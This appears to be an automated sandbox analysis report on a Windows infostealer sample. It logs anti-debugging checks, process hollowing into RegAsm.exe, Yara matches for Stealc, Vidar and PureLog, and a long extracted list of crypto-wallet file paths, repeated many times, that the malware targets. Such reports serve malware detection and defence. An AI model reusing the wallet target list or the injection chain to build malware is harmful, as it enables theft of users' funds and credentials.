Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-78964
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-78978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-79007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-80144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-78967
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-78985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-78986
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-78802

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0041ACFA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00404610 VirtualProtect ?,00000004,00000100,00000000

2_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419160 mov eax, dword ptr fs:[00000030h]

2_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041C8D9 SetUnhandledExceptionFilter,	2_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6C30B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C30B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4BAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C4BAC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7488, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02D57F91 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02D57F91

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B52008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HJJDGHCBGD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\HJJDGHCBGD.exe "C:\ProgramData\HJJDGHCBGD.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C30B341 cpuid

2_2_6C30B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

2_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

2_2_00417420

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_004174D0

Source: file.exe, 00000000.00000002.1666020082.0000000001131000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: file.exe, 00000000.00000002.1666020082.0000000001131000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000000.1662962002.0000000000A22000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: AVP.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 8.2.HJJDGHCBGD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected PureLog Stealer

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1662962002.0000000000A22000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7488, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 